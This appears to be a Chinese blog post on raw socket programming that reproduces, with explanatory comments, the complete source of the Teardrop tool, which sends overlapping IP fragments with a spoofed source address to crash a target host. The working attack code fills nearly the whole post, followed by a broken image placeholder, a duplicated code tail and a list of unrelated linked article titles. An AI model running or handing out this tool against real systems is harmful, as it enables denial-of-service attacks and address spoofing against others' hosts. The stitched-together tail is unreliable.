原始套接字编程”中的Teardrop代码编程

(1)实验代码:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <errno.h>

#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */ #define FIX(n) (n) #else /* OpenBSD 2.1, all Linux */ #define FIX(n) htons(n) #endif /* STRANGE_BSD_BYTE_ORDERING_THING */

#define IP_MF 0x2000 /* More IP fragment en route */ #define IPH 0x14 /* IP header size */ #define UDPH 0x8 /* UDP header size */ #define PADDING 0x1c /* datagram frame padding for first packet */ #define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */ #define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can

  • withstand maybe 5 or 10 sometimes... Experiment.
    */

//错误处理函数
void usage(u_char *);
//获取主机信息
u_long name_resolve(u_char *);
//设置 IP 包的内容并发送
void send_frags(int ,u_long,u_long,u_short,u_short);

//主函数
int main(int argc,char **argv) { int one = 1, count = 0, i, rip_sock; //定义无符号长整型源 IP 和目的 IP u_long src_ip = 0, dst_ip = 0; //定义无符号短整型源端口号和目的端口号 u_short src_prt = 0, dst_prt = 0; /*
定一个结构体 in_addr(表示一个32位的IPv4地址)的一个对象
struct in_addr
{
union
{
struct
{
u_char s_b1,s_b2,s_b3,s_b4;
} S_un_b; //An IPv4 address formatted as four u_chars.
struct
{
u_short s_w1,s_w2;
} S_un_w; //An IPv4 address formatted as two u_shorts
u_long S_addr;//An IPv4 address formatted as a u_long
} S_un;
#define s_addr S_un.S_addr
};
*/
struct in_addr addr;
printf("teardrop route|daemon9\n\n");

/*
创建一个原始套接字
AF_INET——IPv4地址;
SOCK_RAW——原始的套接字类型
IPPROTO_RAW——允许使用底层的套接字协议,就可以自己编写IP包
如果创建套接字成功,则会返回一个描述符(int型),失败则会返回 INVALID_SOCKET
每个电脑里面都会有一个描述符表,对应套接字
如果创建失败,将错误消息输出到屏幕
然后退出程序
*/
if((rip_sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0)
{
fprintf(stderr,"raw socket");
exit(1);
}/*
设置原始套接字选项 IP_HDRINCL
如果不设置这个选项,IP 协议会自动填充 IP 数据包的首部
这个情况是我们所不需要的,我们需要自己编写 IP 包
*/
if(setsockopt(rip_sock,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one)) < 0)
{fprintf(stderr,"IP_HDRINCL");exit(1);
}/*
如果程序运行时送给main函数的命令行参数个数小于 3 个,
调用 usage 函数,传参为 argv[0]:指向程序运行的全路径名
*/
if(argc < 3)usage(argv[0]);//调用 name_resolve 函数设置源 IP 和目的 IP
if(!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{fprintf(stderr,"What the hell kind of IP address is that?\n");exit(1);
}/*
调用 getopt 函数分析命令行参数,该函数的参数含义:
——命令行参数个数(argc)
——命令行参数内容(argv)
——参数格式(opstring):字母后有 : 表示该选项后面必须跟参数
getopt 函数处理不符合 optstring 指定的选项
并将选项后的参数保存在 optarg 中
然后返回选项的 ASCLL 码atoi 函数是将参数(optarg)转化为十进制(会跳过前面的空白字符)
如果不能转化为十进制,则返回 0 ,值过大返回 -1该循环语句是为了从命令行传端口值
*/
while((i = getopt(argc, argv, "s:t:n:")) != EOF)
{switch (i){case 's'://源端口(重点)src_prt = (u_short)atoi(optarg);break;case 't'://目的端口 (DNS,任何人?)dst_prt = (u_short)atoi(optarg);break;case 'n'://设置发送包的个数count = atoi(optarg);break;default:usage(argv[0]);break;}
}
/*
srandom 函数:设置种子值(以“当前时间 + 进程 ID”作为种子)
如果前面设置的源端口和目的端口是零,则随机赋值
*/
srandom((unsigned)(utimes("0",(time_t)0)));
if(!src_prt)src_prt = (random() % 0xffff);//设置随机源端口号
if(!dst_prt)dst_prt = (random() % 0xffff);//设置随即目的端口号
if(!count)count = COUNT;//设置默认为一个包
//inet_ntoa 函数:将一个IP转换成一个互联网标准点分格式的字符串
printf("Death on flaxen wings:\n");
addr.s_addr = src_ip;//给对象 addr 的成员变量赋值
printf("From:%15s.%5d\n",inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;//给对象 addr 的成员变量 赋值
printf("To:%15s.%5d\n",inet_ntoa(addr), dst_prt);
printf("Amt:%5d\n",count);
printf("[\n");/*
循环调用 send_frags 函数
每一次循环完了后睡眠 0.5 s
*/
for (i = 0; i < count; i++)
{send_frags(rip_sock,src_ip,dst_ip,src_prt,dst_prt);usleep(500);
}
printf("]\n");
return (0);

}

//设置 IP 包的内容并发送
void send_frags(int sock,u_long src_ip,u_long dst_ip,u_short src_prt,u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL,*flag = NULL;//定义 IP 包指针
u_char byte;//无符号字符储存二进制
struct sockaddr_in sin;
/*
sockaddr 套接字协议结构
用于存储参与(IP)Windows/linux套接字通信的计算机上的一个internet协议(IP)地址
struct sockaddr {
unsigned short sa_family; //address family, AF_xxx
char sa_data[14]; //14 bytes of protocol address
};
*/ sin.sin_family = AF_INET;//IPv4地址 sin.sin_port = src_prt;//源端口 sin.sin_addr.s_addr = dst_ip;//目的 IP /*
malloc 函数:
原型:extern void *malloc(unsigned int num_bytes); 功能:分配长度为num_bytes字节的内存块(这里分配了 56 个字节的内存块) 说明:分配成功则返回指向被分配内存的指针,否则返回空指针 NULL */ packet = (u_char *)malloc(IPH + UDPH + PADDING); p_ptr = packet;//指向 IP 包内存地址 flag = packet; /*
bzero 函数:
原型:extern void bzero(void *s, int n); 功能:置字节字符串前n个字节为零且包括‘\0’,无返回值 这里是将 IP 包的 56 个字节全部至空 */ bzero((u_char *)p_ptr,IPH + UDPH + PADDING); /*
设置 IP 包的Version(版本)和Hlen(长度)
大多数的 IP 包都是以 4500 开头的(十六进制)
*/ byte = 0x45; /*
memcpy 函数:
原型:void *memcpy(void *destin, void *source, unsigned n); 功能:从源内存地址的起始位置开始拷贝若干个字节到目标内存地址中 即从源source中拷贝n个字节到目标destin中 这里是指从 byte 的内容(0x45)拷贝到 IP 包中 */ memcpy(p_ptr, &byte, sizeof(u_char)); p_ptr += 2;// 此时默认 IP 包的 TOS(优先级)为 0 /*
FIX 函数(htons 函数的别名)
htons 函数:将一个无符号短整型的主机数值转换为网络字节顺序
即大尾顺序(big-endian)
这里是设置 Datagram Total Length(IP 包总长度)
*/ *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); p_ptr += 2; //这是是设置 identifier(IP 包标识) *((u_short *)p_ptr) = htons(242);//IP id p_ptr += 2; //这里设置 Flags(标志) *((u_short *)p_ptr) |= FIX(IP_MF); p_ptr += 2; //设置 TTL (存活期) *((u_short *)p_ptr) = 0x40; //设置 Protocol(协议) byte = IPPROTO_UDP; memcpy(p_ptr + 1, &byte, sizeof(u_char)); //IP 的校验码由实时操作系统设置 p_ptr += 4; //设置 IP 包的 Source Address(源地址) *((u_long *)p_ptr) = src_ip; p_ptr += 4; //设置 IP 包的 Destination Address(目的地址) *((u_long *)p_ptr) = dst_ip; p_ptr += 4; //设置 UDP 的源端口 *((u_short *)p_ptr) = htons(src_prt); p_ptr += 2; //设置 UDP 的目的端口 *((u_short *)p_ptr) = htons(dst_prt); p_ptr += 2; //设置 UDP 的数据长度 *((u_short *)p_ptr) = htons(PADDING); p_ptr += 4; /*
设置要发送的数据:Fake News
根据 ASCLL 码表可转换成 46 61 6B 65 20 4E 65 77 73
*/ *((u_short *)p_ptr) = 0x46; p_ptr++; *((u_short *)p_ptr) = 0x61; p_ptr++; *((u_short *)p_ptr) = 0x6B; p_ptr++; *((u_short *)p_ptr) = 0x65; p_ptr++; *((u_short *)p_ptr) = 0x20; p_ptr++; *((u_short *)p_ptr) = 0x4E; p_ptr++; *((u_short *)p_ptr) = 0x65; p_ptr++; *((u_short *)p_ptr) = 0x77; p_ptr++; *((u_short *)p_ptr) = 0x73; /*
sendto 函数:指向一指定目的地发送数据
将指定字节数的数据发送到指定的终结点
sendto()适用于发送未建立连接的UDP数据报(参数为SOCK_DGRAM)
返回值:为整型,如果成功,则返回发送的字节数,失败则返回SOCKET_ERROR
发送 IPv4 包,下面这个条件语句发送失败才会执行
*/ int i=1; while(i <= 56) { printf("%x\t",*flag);
flag++;
if(0 == i%8)
printf("\n");
i++;
}
if(sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
{
fprintf(stderr, "\nsendto");
free(packet);//释放 packet 指针
exit(1);
}
//IP total length is 2 bytes into the header
//IP 包总长度是2字节,放进头部
p_ptr = &packet[2];
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
//IP offset is 6 bytes into the header
p_ptr += 4;
*((u_short *)p_ptr) = FIX(MAGIC);
//发送 UDP 包,下面这个条件语句发送失败才会执行
if(sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
{
fprintf(stderr, "\nsendto");
free(packet);
exit(1);
}
free(packet);
}

//获取主机信息
u_long name_resolve(u_char *host_name) { struct in_addr addr;//32位 IPv4 地址 /*
hostent 结构体:该结构记录主机的信息,包括主机名、别名、地址类型、地址长度和地址列表
struct hostent {
char *h_name; char **h_aliases; int h_addrtype; int h_length; char **h_addr_list; }; #define h_addr h_addr_list[0] */ struct hostent *host_ent; /*
gethostbyname 函数:返回对应于给定主机名的包含主机名字和地址信息的hostent结构指针
bcopy 函数:将第一个参数(字符串)的前n(第三个参数)个字节复制到第二个参数中
*/
if((addr.s_addr = inet_addr(host_name)) == -1)
{
if(!(host_ent = gethostbyname(host_name)))
return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}

//错误处理函数
void usage(u_char *name)
{
fprintf(stderr, "%s src_ip dst_ip [ -s src_prit ] [ -t dst_prt ] [ -n how_many ]\n",name);
exit(0);
}

运行并抓包:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PKFjgHtm-1607153412909)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20201204201107208.png)]

return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}

//错误处理函数
void usage(u_char *name)
{
fprintf(stderr, "%s src_ip dst_ip [ -s src_prit ] [ -t dst_prt ] [ -n how_many ]\n",name);
exit(0);
}

运行并抓包:

原始套接字编程”中的Teardrop代码编程相关推荐

  1. java原始套接字,raw socket介绍(示例代码)

    原文: http://bbs.chinaunix.net/forum.php?mod=viewthread&tid=876233 test 1.原始套接字(raw socket) 1.1 原始 ...

  2. Teardrop代码编程,伪造一个虚假地址的IP包和SOCKET应用实例

    Teardrop攻击 Teardrop攻击是一种畸形报文攻击.原理是向攻击者发送的多个分片的IP包,由于操作系统会将分开的IP包重新组合,系统收到偏移量错误IP包然后组合,导致数据异常. 实验代码:为 ...

  3. 105-网络编程——第七章原始套接字编程(上)

    1.原始套接字是允许访问底层传输协议的一种套接字类型,提供了普通套接字所不具备的功能,能够对网络数据包进行某种程度的控制操作 因此原始套接字通常用于开发简单网络性能监视程序以及网络探测.网络攻击 2. ...

  4. 【Linux网络编程】原始套接字能干什么?

    通常情况下程序员接所接触到的套接字(Socket)为两类: (1)流式套接字(SOCK_STREAM):一种面向连接的 Socket,针对于面向连接的TCP 服务应用: (2)数据报式套接字(SOCK ...

  5. Linux网络编程——原始套接字能干什么?

    一.知识回顾: 通常情况下程序员接所接触到的套接字(Socket)为两类: (1)流式套接字(SOCK_STREAM):一种面向连接的 Socket,针对于面向连接的TCP 服务应用: (2)数据报式 ...

  6. 【LWIP】原始套接字(SOCK_RAW)

    收录于: [LWIP]LWIP协议|相关知识汇总|LWIP学习笔记 通常情况下我们接触到的套接字为两类: (1)字节流套接字(SOCK_STREAM):面向连接的socket套接字,用于TCP服务应用 ...

  7. 第13章 原始套接字

    对于: 发送一个自定义的IP包. 发送ICMP数据报. 网卡的侦听模式,监听网络上的数据包. 伪装IP地址. 自定义协议的实现. 要解决这些问题,需要原始套接字.原始套接字主要应用在底层网络编程上. ...

  8. Teardrop原始套接字编程

    目录 一.含义介绍 二.Teardrop代码编程 参考 一.含义介绍 1.什么是原始套接字 原始套接字的含义就是在传输层之下使用的套接字,它提供了一些 TCP 和 UDP 套接字无法提供的功能,即: ...

  9. 原始套接字编程——Teardrop

    文章目录 一.介绍套接字 二.著名的Teardrop 三.伪造虚假地址的IP包 四.在Ubuntu下使用Wireshark抓包进行验证 五.总结 六.参考资料 一.介绍套接字 流套接字(SOCK_ST ...

最新文章

  1. QTP的那些事---页面弹出框的处理,页面等待加载的处理
  2. 黑盒测试方法之边界值分析法
  3. Spring WebFlux和Spring Cloud开发响应式微服务
  4. Ruby如何成长成高性能系统构架
  5. STM32中GPIO_Mode--GPIO配置
  6. C#设计模式学习笔记:(20)职责链模式
  7. 背景裁剪图片html,HTML5基础加强css样式篇(文本裁剪,背景裁剪:background-origin,background-position,background-clip)(三十七)...
  8. 狗狗币协议发布新版本Dogecoin Core 1.14.3
  9. 使用半透明的DIV实现禁用页面功能
  10. Installer - 使用Maven自动布署至外部Tomcat
  11. linux系统共享文件夹,Linux系统如何设置共享文件夹?新建文件夹以及指令是什么?...
  12. android 魅族 webview,魅族 Flyme 系统出现大面积应用闪退问题,提供临时解决方法...
  13. 27.(cesium篇)cesium接入百度影像地图
  14. c语言代码存放的区域 堆栈,C语言中内存分布及程序运行中(BSS段、数据段、代码段、堆栈)...
  15. 在maven官网下载maven历史版本
  16. SpringBoot整合DWR-3.0.2-RELEASE版本,以及解决项目在开发环境及其外置Tomcat运行正常,独立JAR形式内置Tomcat运行异常的问题
  17. MATLAB 求解定积分和不定积分
  18. Linux命令解读(一):head -n 80 /dev/urandom | tr -dc A-Za-z0-9 | head -c 22
  19. 思考如何概括“技术美术”(Technical Artist)的职责
  20. 安卓怎么显示一段html代码,【报Bug】点击安卓源生返回键 会导致页面崩溃直接显示HTML代码...

热门文章

  1. HCIA随堂习题卷一
  2. Java输入输出数据流
  3. 如何用Nearby Service让你的游戏实现近距离联机
  4. 安装ubuntu时如何合理为各区间分配磁盘空间?
  5. java访问未验证证书的HTTPS
  6. Crypto-Transposition I (Crypto, Trai...) 的解法
  7. Java进销存ERP管理系统源码
  8. unity3d开发 打飞机小游戏(二)(飞机动画设置)
  9. 爱数如何激活商业市场?
  10. java.util.concurrent 面试题(所有图片是陈敏老师提供)